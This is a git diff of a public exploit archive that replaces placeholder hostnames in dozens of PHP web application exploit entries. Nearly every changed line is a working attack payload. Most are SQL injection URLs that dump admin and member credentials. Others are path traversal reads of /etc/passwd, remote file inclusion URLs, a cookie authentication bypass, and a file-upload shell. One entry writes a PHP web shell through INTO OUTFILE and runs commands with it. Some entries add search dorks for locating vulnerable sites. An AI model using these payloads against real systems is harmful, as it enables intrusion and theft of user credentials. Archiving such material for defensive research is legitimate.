+http://www.site.com/[path]/functions.php?FORUM_LANGUAGE=../../../../../../../../../../../etc/passwd +http://www.site.com/[path]/bottom.php?style=../../../../../../.././etc/passwd%00 # milw0rm.com [2007-06-28] diff --git a/platforms/php/webapps/4125.txt b/platforms/php/webapps/4125.txt index 902d72721..3e01e5981 100755 --- a/platforms/php/webapps/4125.txt +++ b/platforms/php/webapps/4125.txt @@ -24,7 +24,7 @@ Exploit : ============================================================================================================ -http://www.server/[web_chat]/login.php?rid=-1'%20UNION%20ALL%20SELECT%20uid,pass,null,null,null%20from%20user%20WHERE%20uid=1/* +http://www.site.com/[web_chat]/login.php?rid=-1'%20UNION%20ALL%20SELECT%20uid,pass,null,null,null%20from%20user%20WHERE%20uid=1/* ============================================================================================================ Thanks To: diff --git a/platforms/php/webapps/4127.txt b/platforms/php/webapps/4127.txt index 41df5d695..ad3aee349 100755 --- a/platforms/php/webapps/4127.txt +++ b/platforms/php/webapps/4127.txt @@ -14,8 +14,8 @@ Remote sql injection in view_sub_cat.php cat_id, able to pull username/passwords EXPLOITS: -http://www.server/view_sub_cat.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3C2F74643E,admin_user,0x3a,admin_password,0x3C62723E),4/**/FROM/**/admin_users/* -http://www.server/view_sub_cat.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3C2F74643E,member_email,0x3a,member_password,0x3C62723E),4/**/FROM/**/members/* +http://www.site.com/view_sub_cat.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3C2F74643E,admin_user,0x3a,admin_password,0x3C62723E),4/**/FROM/**/admin_users/* +http://www.site.com/view_sub_cat.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(0x3C2F74643E,member_email,0x3a,member_password,0x3C62723E),4/**/FROM/**/members/* Tip/Note: diff --git a/platforms/php/webapps/4128.txt b/platforms/php/webapps/4128.txt index fa5807a0c..ba24f23e1 100755 --- a/platforms/php/webapps/4128.txt +++ b/platforms/php/webapps/4128.txt @@ -15,16 +15,16 @@ Remote sql injection in view_sub_cat.php cat_id, able to pull username/passwords EXPLOITS: view_news.php -http://www.server/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(admin_user,0x3a,admin_password),3,4,5,6/**/FROM/**/admin_users/* -http://www.server/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(member_email,0x3a,member_password),3,4,5,6/**/FROM/**/members/* +http://www.site.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(admin_user,0x3a,admin_password),3,4,5,6/**/FROM/**/admin_users/* +http://www.site.com/view_news.php?news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(member_email,0x3a,member_password),3,4,5,6/**/FROM/**/members/* view_events.php -http://www.server/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(member_email,0x3a,member_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/members/* +http://www.site.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(member_email,0x3a,member_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/members/* http://www.divineartists.com/view_events.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(admin_user,0x3a,admin_password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24/**/FROM/**/admin_users/* video_gallery.php -http://www.server/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/admin_users/* -http://www.server/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(member_email,0x3a,member_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/members/* +http://www.site.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/admin_users/* +http://www.site.com/video_gallery.php?member_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(member_email,0x3a,member_password),7,8,9,10,11,12,13,14,15,16,17,18,19,20/**/FROM/**/members/* Tip/Note: diff --git a/platforms/php/webapps/4129.txt b/platforms/php/webapps/4129.txt index ecb8727db..60b2d10d1 100755 --- a/platforms/php/webapps/4129.txt +++ b/platforms/php/webapps/4129.txt @@ -26,8 +26,8 @@ #Exploit:: - http://www.server/[path to ripe]/admin/includes/author_panel_header.php?level=shell.txt? - http://www.server/[path to ripe]/admin/includes/admin_header.php?level=shell.txt? + http://www.site.com/[path to ripe]/admin/includes/author_panel_header.php?level=shell.txt? + http://www.site.com/[path to ripe]/admin/includes/admin_header.php?level=shell.txt? #thanks:: str0ke diff --git a/platforms/php/webapps/4130.txt b/platforms/php/webapps/4130.txt index bb4b8cf20..97881f9c7 100755 --- a/platforms/php/webapps/4130.txt +++ b/platforms/php/webapps/4130.txt @@ -12,7 +12,7 @@ DESCRIPTION: Remote SQL injection in view_event.php id, able to pull admin username/md5hash. EXPLOIT: -http://server/calender/path/view_event.php?id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,pw),5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/tcal_users/**/WHERE/**/uid=1/* +http://site.com/calender/path/view_event.php?id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,pw),5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/tcal_users/**/WHERE/**/uid=1/* Tip/Note: Login is in /auth.php?action=login diff --git a/platforms/php/webapps/4131.txt b/platforms/php/webapps/4131.txt index 95e16a969..962ac0f68 100755 --- a/platforms/php/webapps/4131.txt +++ b/platforms/php/webapps/4131.txt @@ -25,8 +25,8 @@ #Exploit:: - http://www.server/[path to XCMS]/Module/Galerie.php?Ent=../../../../../../etc/ - http://www.server/[path to XCMS]/Module/Galerie.php?Lang=../../../../../../etc/passwd%00 + http://www.site.com/[path to XCMS]/Module/Galerie.php?Ent=../../../../../../etc/ + http://www.site.com/[path to XCMS]/Module/Galerie.php?Lang=../../../../../../etc/passwd%00 #thanks:: str0ke diff --git a/platforms/php/webapps/4132.txt b/platforms/php/webapps/4132.txt index 0e30b67a8..20da52b63 100755 --- a/platforms/php/webapps/4132.txt +++ b/platforms/php/webapps/4132.txt @@ -9,25 +9,25 @@ ERROR [1];spellcheckpageinc.php? include($SpellIncPath."spellcheckvars.php"); -BUG: server/checkpageinc.php?SpellIncPath=5h3LL +BUG: www.target.com/checkpageinc.php?SpellIncPath=5h3LL --------------------------------------------------------------------------------- ERROR [2];spellchecktext.php? include($SpellIncPath."spellcheckvars.php"); -BUG: server/spellchecktext.php? SpellIncPath=5h3LL +BUG: www.target.com/spellchecktext.php? SpellIncPath=5h3LL --------------------------------------------------------------------------------- ERROR [3];spellcheckwindow.php? include($SpellIncPath."spellcheckvars.php"); -BUG: server/spellcheckwindow.php?SpellIncPath=5h3LL +BUG: www.target.com/spellcheckwindow.php?SpellIncPath=5h3LL --------------------------------------------------------------------------------- ERROR [4];spellcheckwindowframeset.php? include($SpellIncPath."spellcheckvars.php"); -BUG: server/spellcheckwindowframeset.php?SpellIncPath=5h3LL +BUG: www.target.com/spellcheckwindowframeset.php?SpellIncPath=5h3LL --------------------------------------------------------------------------------- d0rk: :( diff --git a/platforms/php/webapps/4133.txt b/platforms/php/webapps/4133.txt index bc74de27e..97bf3207f 100755 --- a/platforms/php/webapps/4133.txt +++ b/platforms/php/webapps/4133.txt @@ -14,7 +14,7 @@ EXPLOIT: Using your prefered cookie editor make a cookie with the following; Name: usercookie Content: admin'/* -Host: www.someserver +Host: www.somesite.com Path: / diff --git a/platforms/php/webapps/4134.txt b/platforms/php/webapps/4134.txt index 61a127541..31a6c3415 100755 --- a/platforms/php/webapps/4134.txt +++ b/platforms/php/webapps/4134.txt @@ -12,7 +12,7 @@ DESCRIPTION: SQL injection in CatagoryID of process.php, able to retrieve admin/ error message. EXPLOIT: -http://www.server/123music-path/process.php?pname=ShowAlbumProcess-Start&CategoryID=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/concat(0x31203C666F6E7420636F6C6F723D7265643E,login,0x3a,passwd,0x3C2F666F6E743E)/**/from/**/user/* +http://www.site.com/123music-path/process.php?pname=ShowAlbumProcess-Start&CategoryID=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/concat(0x31203C666F6E7420636F6C6F723D7265643E,login,0x3a,passwd,0x3C2F666F6E743E)/**/from/**/user/* NOTE: The CatagoryID value gets passed to a couple SELECT statements and we couldn't get diff --git a/platforms/php/webapps/4135.pl b/platforms/php/webapps/4135.pl index c7f1ec847..d848d25b1 100755 --- a/platforms/php/webapps/4135.pl +++ b/platforms/php/webapps/4135.pl @@ -10,7 +10,7 @@ print "# # Thanks to Silentz for the help :) # Greets to everyone at RootShell Security Group & dHack # -# Example target url: http://server/phpeventcalendar/ +# Example target url: http://www.target.com/phpeventcalendar/ Target url?"; chomp($target=<stdin>); if($target !~ /^http:\/\//) diff --git a/platforms/php/webapps/4136.txt b/platforms/php/webapps/4136.txt index 5cdeb825d..d4db3bb41 100755 --- a/platforms/php/webapps/4136.txt +++ b/platforms/php/webapps/4136.txt @@ -12,7 +12,7 @@ DESCRIPTION: Remote SQL injection in msg.php id, able to pull admin user/pass. EXPLOIT: -http://server/path/msg.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,0x7430705038755A7A20616E64207870726F67206F776E616765,convert(concat((SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F6E616D65),0x3a,(SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F70617373))/**/using/**/latin1),4,5,6,7,8,9/* +http://site.com/path/msg.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,0x7430705038755A7A20616E64207870726F67206F776E616765,convert(concat((SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F6E616D65),0x3a,(SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F70617373))/**/using/**/latin1),4,5,6,7,8,9/* Tip/Note: diff --git a/platforms/php/webapps/4139.txt b/platforms/php/webapps/4139.txt index 304acf8ac..c28bed714 100755 --- a/platforms/php/webapps/4139.txt +++ b/platforms/php/webapps/4139.txt @@ -15,17 +15,17 @@ DESCRIPTION: - SQL injection in $id of videos.php EXPLOIT: -SQL INJECTION: http://www.server/videos.php?id=-1%20UNION%20SELECT%20name,news,vids_per_page,version,template,6,7,8,9,10,11,12,13,14,15%20FROM%20pp_config +SQL INJECTION: http://www.site.com/videos.php?id=-1%20UNION%20SELECT%20name,news,vids_per_page,version,template,6,7,8,9,10,11,12,13,14,15%20FROM%20pp_config FIND ADMIN PASS & DB INFO: -1. We must have teh path .. check: http://www.server/videos.php?id[]= (path disclosure) -2. http://www.server/videos.php?id=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,load_file('[path_you_just_found]/config.php')%20FROM%20pp_config%20into%20outfile%20'[path_you_just_found]/config.txt' -3. Now check: http://www.server/config.txt +1. We must have teh path .. check: http://www.site.com/videos.php?id[]= (path disclosure) +2. http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,load_file('[path_you_just_found]/config.php')%20FROM%20pp_config%20into%20outfile%20'[path_you_just_found]/config.txt' +3. Now check: http://www.site.com/config.txt UPLOAD SHELL: -1. We must have teh path .. check: http://www.server/videos.php?id[]= (path disclosure) -2. http://www.server/videos.php?id=-1%20UNION%20SELECT%201,'<?php%20system($_GET[cmd]);%20?>',3,4,5,6,7,8,9,10,11,12,13,14,15%20INTO%20OUTFILE%20'[path_founded]/shell.php'%20FROM%20pp_config -3. http://www.server/shell.php?cmd=uname -a +1. We must have teh path .. check: http://www.site.com/videos.php?id[]= (path disclosure) +2. http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,'<?php%20system($_GET[cmd]);%20?>',3,4,5,6,7,8,9,10,11,12,13,14,15%20INTO%20OUTFILE%20'[path_founded]/shell.php'%20FROM%20pp_config +3. http://www.site.com/shell.php?cmd=uname -a GREETZ: all memberz of RST and milw0rm diff --git a/platforms/php/webapps/4141.txt b/platforms/php/webapps/4141.txt index 0cfb6b3bf..71216fd53 100755 --- a/platforms/php/webapps/4141.txt +++ b/platforms/php/webapps/4141.txt @@ -14,7 +14,7 @@ Pull out members info from the database. EXPLOITS: -http://server/index.php?o=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password),4,5,0x677269642E706870/**/from/**/users/* +http://www.server.com/index.php?o=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password),4,5,0x677269642E706870/**/from/**/users/* NOTE/TIP: normally the first result is admin info, click the upper right link labeled 'manage calender' diff --git a/platforms/php/webapps/4147.php b/platforms/php/webapps/4147.php index 92a69618b..dc754aab1 100755 --- a/platforms/php/webapps/4147.php +++ b/platforms/php/webapps/4147.php @@ -41,7 +41,7 @@ We can handle '$sort_order'... The only "problem" could be that the SQL injection is only possible after an 'ORDER BY' statement... but we should be able (with appropriate MySQL version) to inject a subquery. In this case we can request something like this: -http://www.server/postnuke/?module=PNphpBB2&file=viewforum&f=1&order=ASC, (SELECT user_password FROM pn_phpbb_users WHERE user_id=2 AND IF(ORD(SUBSTR(user_password,1,1))>52,BENCHMARK(2500000,MD5(71337)),1)) +http://www.site.com/postnuke/?module=PNphpBB2&file=viewforum&f=1&order=ASC, (SELECT user_password FROM pn_phpbb_users WHERE user_id=2 AND IF(ORD(SUBSTR(user_password,1,1))>52,BENCHMARK(2500000,MD5(71337)),1)) With this kind of query we can use an 'if' statement to discover each character of the admin's password hash, analyzing the delay time of server's answers. In fact if the 'if' statement results true (ORD() returns the ascii value of a character) the md5() function 'll be repeated 2500000 times and you 'll get a big delay. diff --git a/platforms/php/webapps/4153.txt b/platforms/php/webapps/4153.txt index bb73ca486..7d44e5456 100755 --- a/platforms/php/webapps/4153.txt +++ b/platforms/php/webapps/4153.txt @@ -14,8 +14,8 @@ pull out multiple admin/users at the same time. EXPLOITS: -http://server/categories_type.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(admin_user,0x3a,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/admin_users/* -http://server/categories_type.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/members/* +http://www.server.com/categories_type.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(admin_user,0x3a,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/admin_users/* +http://www.server.com/categories_type.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/members/* diff --git a/platforms/php/webapps/4154.txt b/platforms/php/webapps/4154.txt index 6c158f57e..71d24f1b4 100755 --- a/platforms/php/webapps/4154.txt +++ b/platforms/php/webapps/4154.txt @@ -14,10 +14,10 @@ b.php and gallery.php ID among others on this script are SQL injectable. EXPLOITS: -http://www.server/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/* -http://www.server/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/**/where/**/username=0x61646D696E/* +http://www.site.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/* +http://www.site.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/**/where/**/username=0x61646D696E/* -http://www.server/account/gallery.php?p=gal&id=-1/**/UNION/**/ALL/**/SELECT/**/null,null,null,concat(0x273e3c2f74643e,username,0x3a,password,0x3a,email,0x3c62723e3c2f2f),null,null/**/from/**/members/* +http://www.site.com/account/gallery.php?p=gal&id=-1/**/UNION/**/ALL/**/SELECT/**/null,null,null,concat(0x273e3c2f74643e,username,0x3a,password,0x3a,email,0x3c62723e3c2f2f),null,null/**/from/**/members/* NOTE: diff --git a/platforms/php/webapps/4164.txt b/platforms/php/webapps/4164.txt index 402a99e6d..cdab630ce 100755 --- a/platforms/php/webapps/4164.txt +++ b/platforms/php/webapps/4164.txt @@ -10,7 +10,7 @@ Shoutouts to my friends darkfusion and magikgrl for being fucking awesome. w0rd. EXPLOITS: -http://www.webserver/index.php?page=topic&topic_id=9999/**/UNION/**/SELECT/**/ALL/**/null,null,CONCAT(login,CHAR(58),password),null/**/FROM/**/person/**/WHERE/**/ID=1-- -http://www.webserver/index.php?page=topic&topic_id=9999/**/UNION/**/SELECT/**/ALL/**/null,null,password,null/**/FROM/**/person-- +http://www.website.com/index.php?page=topic&topic_id=9999/**/UNION/**/SELECT/**/ALL/**/null,null,CONCAT(login,CHAR(58),password),null/**/FROM/**/person/**/WHERE/**/ID=1-- +http://www.website.com/index.php?page=topic&topic_id=9999/**/UNION/**/SELECT/**/ALL/**/null,null,password,null/**/FROM/**/person-- # milw0rm.com [2007-07-09] diff --git a/platforms/php/webapps/4166.txt b/platforms/php/webapps/4166.txt index cf38ef44f..3be6fbffe 100755 --- a/platforms/php/webapps/4166.txt +++ b/platforms/php/webapps/4166.txt @@ -12,7 +12,7 @@ DORK: intext:"RPG Inferno is not available to guests" or intext:"Battle Ground DESCRIPTION: SQL Injection in ID of inferno.php a mod for vBulletin, able to retrieve admin hash/salt. EXPLOIT: -http://server/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(username,0x3a,password,0x3a,salt),31,@@version,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/* +http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(username,0x3a,password,0x3a,salt),31,@@version,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/* NOTE: You'll need to be logged into the forum to access inferno.php. Increment the limit to get the next admin (ie: [limit 0,1] [limit 1,1] [limit 2,1] etc). diff --git a/platforms/php/webapps/4167.txt b/platforms/php/webapps/4167.txt index 21acf2d41..053e89d5a 100755 --- a/platforms/php/webapps/4167.txt +++ b/platforms/php/webapps/4167.txt @@ -19,6 +19,6 @@ DORK: EXPLOITS: -http://www.webserver/index.php?id=999/**/UNION/**/SELECT/**/ALL/**/null,null,null,null,null,value,null,null,null,null,null,null,null,null/**/FROM/**/settings-- +http://www.website.com/index.php?id=999/**/UNION/**/SELECT/**/ALL/**/null,null,null,null,null,value,null,null,null,null,null,null,null,null/**/FROM/**/settings-- # milw0rm.com [2007-07-10] diff --git a/platforms/php/webapps/4169.txt b/platforms/php/webapps/4169.txt index 5106f7ba0..ae2da7a87 100755 --- a/platforms/php/webapps/4169.txt +++ b/platforms/php/webapps/4169.txt @@ -5,7 +5,7 @@ # Url: http://rapidshare.com/files/41426468/FlashBB_AaeDueHFcu.zip # # Exploit: -# http://server/[path]/phpbb/sendmsg.php?phpbb_root_path=[Evil_Script>:] +# http://site.com/[path]/phpbb/sendmsg.php?phpbb_root_path=[Evil_Script>:] # # (c)oded and f0und3d by kw3rln <office[at]rosecuritygroup[dot]net> # @@ -40,8 +40,8 @@ $path = $path."/phpbb/sendmsg.php"; sub usage(){ - print "Usage : perl $0 host/path http://server/cmd.txt\n\n"; - print "Example : perl $0 http://127.0.0.1 http://server/cmd.txt\n\n"; + print "Usage : perl $0 host/path http://site.com/cmd.txt\n\n"; + print "Example : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n"; print 'Shell : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; } diff --git a/platforms/php/webapps/4183.txt b/platforms/php/webapps/4183.txt index 6c341e96c..adada4671 100755 --- a/platforms/php/webapps/4183.txt +++ b/platforms/php/webapps/4183.txt @@ -18,9 +18,9 @@ [~]------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/news.php?id=-1%27%20union%20select%201,username,password,4,5%20from%20dir_admins/* +[~] http://site.com/news.php?id=-1%27%20union%20select%201,username,password,4,5%20from%20dir_admins/* [~] -[~] http://server/page.php?name=-1%27%20union%20select%200,0,0,0,0,0,0,0,0/* +[~] http://site.com/page.php?name=-1%27%20union%20select%200,0,0,0,0,0,0,0,0/* [~] [~] [~]--------------------------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/4184.txt b/platforms/php/webapps/4184.txt index 293e28fd4..aa9105cfd 100755 --- a/platforms/php/webapps/4184.txt +++ b/platforms/php/webapps/4184.txt @@ -15,7 +15,7 @@ pullout admin password from database EXPLOITS: -http://server/realtor747/index.php?pageid=2&categoryid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,config_value,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/FROM/**/AD747_CONFIG%20where/**/config_key=0x70617373776F7264/* +http://server.com/realtor747/index.php?pageid=2&categoryid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,config_value,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/**/FROM/**/AD747_CONFIG%20where/**/config_key=0x70617373776F7264/* NOTE/TIP: diff --git a/platforms/php/webapps/4185.txt b/platforms/php/webapps/4185.txt index af16809b2..053d53f2b 100755 --- a/platforms/php/webapps/4185.txt +++ b/platforms/php/webapps/4185.txt @@ -15,7 +15,7 @@ of users who posted URLs in the directory. EXPLOITS: -http://www.server/directory.php?ax=list&sub=1&cat_id=-1/**/UNION/**/SELECT/**/1,2,3,4,concat(0x2D2D3E,email,0x3a,password),6,7,8,9,10,0x223E3C212D2D,12,13/**/from/**/links/* +http://www.site.com/directory.php?ax=list&sub=1&cat_id=-1/**/UNION/**/SELECT/**/1,2,3,4,concat(0x2D2D3E,email,0x3a,password),6,7,8,9,10,0x223E3C212D2D,12,13/**/from/**/links/* NOTE/TIP: diff --git a/platforms/php/webapps/4187.txt b/platforms/php/webapps/4187.txt index 977495832..f24c70aad 100755 --- a/platforms/php/webapps/4187.txt +++ b/platforms/php/webapps/4187.txt @@ -14,7 +14,7 @@ pull out admin email/passwords EXPLOITS: -http://server/Script_Dir/referralUrl.php?offset=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password)/**/FROM/**/StatAdmin/* +http://server.com/Script_Dir/referralUrl.php?offset=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password)/**/FROM/**/StatAdmin/* NOTE/TIP: diff --git a/platforms/php/webapps/4189.txt b/platforms/php/webapps/4189.txt index 4c8493fa1..5e4d8fdfb 100755 --- a/platforms/php/webapps/4189.txt +++ b/platforms/php/webapps/4189.txt @@ -13,7 +13,7 @@ pull out admin user/pass from the database EXPLOITS: -http://server/Script_Path/index.php?cmd=4&id=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),9,10,11,12,13,14,15/**/FROM/**/admin/* +http://server.com/Script_Path/index.php?cmd=4&id=1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),9,10,11,12,13,14,15/**/FROM/**/admin/* NOTE/TIP: diff --git a/platforms/php/webapps/4191.txt b/platforms/php/webapps/4191.txt index 10b757926..d5f158350 100755 --- a/platforms/php/webapps/4191.txt +++ b/platforms/php/webapps/4191.txt @@ -14,8 +14,8 @@ pull out admin/members info EXPLOITS: -http://server/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),5,6,7/**/FROM/**/admin/* -http://server/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,email,0x3a,password,0x3c623e),5,6,7/**/FROM/**/members/* +http://server.com/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,password,0x3c623e),5,6,7/**/FROM/**/admin/* +http://server.com/Script_Dir/index.php?cmd=8&msgid=52/**/UNION/**/ALL/**/SELECt/**/1,2,@@version,concat(0x3c623e,username,0x3a,email,0x3a,password,0x3c623e),5,6,7/**/FROM/**/members/* NOTE/TIP: diff --git a/platforms/php/webapps/4194.txt b/platforms/php/webapps/4194.txt index 530935d79..7e45ae55f 100755 --- a/platforms/php/webapps/4194.txt +++ b/platforms/php/webapps/4194.txt @@ -1,4 +1,4 @@ - + HHHHHHH HHHHHH HH HHHHHHHH HHHHHH HHHHHHHH IHHI HH HH HHHHHHHH HH HH HH HH HH HHHHHHHH HH IHHI HH HHH HH HHHHHHHH HH HH HH HH HH HH HH HH HH HHHH HH HH @@ -19,9 +19,9 @@ ---------------------------------------------------------------------------------------------------------------- ++ Arbitrary File Upload ++ ++ use this link to upload your phpshell [ phpshell.php.jpg ] ++ -++ http://server/administrator/components/com_expose/uploadimg.php ++ +++ http://site.com/administrator/components/com_expose/uploadimg.php ++ ++ You wil have shell file in this page ++ -++ http://server/components/com_expose/expose/img/ ++ +++ http://site.com/components/com_expose/expose/img/ ++ ++ Example : http://ayazshah.com/ ++ ++ Dork : "index.php?option=com_expose" ++ ---------------------------------------------------------------------------------------------------------------- diff --git a/platforms/php/webapps/4197.txt b/platforms/php/webapps/4197.txt index 7292a7be9..221c3db54 100755 --- a/platforms/php/webapps/4197.txt +++ b/platforms/php/webapps/4197.txt @@ -1,4 +1,4 @@ -phpBB Module SupaNav 1.0.0 (link_main.php) Remote File Inclusion Vulnerability + phpBB Module SupaNav 1.0.0 (link_main.php) Remote File Inclusion Vulnerability Vendor: http://www.phpbbhacks.com/download/8003 diff --git a/platforms/php/webapps/4199.txt b/platforms/php/webapps/4199.txt index f8d74fe58..28d43cc87 100755 --- a/platforms/php/webapps/4199.txt +++ b/platforms/php/webapps/4199.txt @@ -6,7 +6,7 @@ Dork: "Powered by Md-Pro" !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Exploit :!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! -http://www.server/[mdpro_path]/index.php?module=Topics&func=view&topicid=-1 UNION ALL SELECT null,null,concat(pn_uname,0x3a,pn_pass),null,null,null,null from md_users where pn_uid=2/* +http://www.site.com/[mdpro_path]/index.php?module=Topics&func=view&topicid=-1 UNION ALL SELECT null,null,concat(pn_uname,0x3a,pn_pass),null,null,null,null from md_users where pn_uid=2/* !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! diff --git a/platforms/php/webapps/4206.txt b/platforms/php/webapps/4206.txt index 7a17aa078..fc6891d3a 100755 --- a/platforms/php/webapps/4206.txt +++ b/platforms/php/webapps/4206.txt @@ -14,7 +14,7 @@ pull out admin/members login credentials EXPLOITS: -http://server/index.php?page_id=-1&news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6/**/FROM/**/websiteadmin_admin_users/* +http://www.server.com/index.php?page_id=-1&news_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6/**/FROM/**/websiteadmin_admin_users/* NOTE/TIP: diff --git a/platforms/php/webapps/4209.txt b/platforms/php/webapps/4209.txt index c64e0f6aa..074c64ade 100755 --- a/platforms/php/webapps/4209.txt +++ b/platforms/php/webapps/4209.txt @@ -14,7 +14,7 @@ pull out member info from the database EXPLOITS: -http://server/Script_Dir/index.php?action=displaycat&catid=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,concat(email,0x3a,password),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/wsnlinks_members/**/LIMIT/**/0,1/* +http://www.server.com/Script_Dir/index.php?action=displaycat&catid=1/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,concat(email,0x3a,password),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/wsnlinks_members/**/LIMIT/**/0,1/* NOTE/TIP: diff --git a/platforms/php/webapps/4210.txt b/platforms/php/webapps/4210.txt index 3e49ff394..455ad908d 100755 --- a/platforms/php/webapps/4210.txt +++ b/platforms/php/webapps/4210.txt @@ -13,7 +13,7 @@ 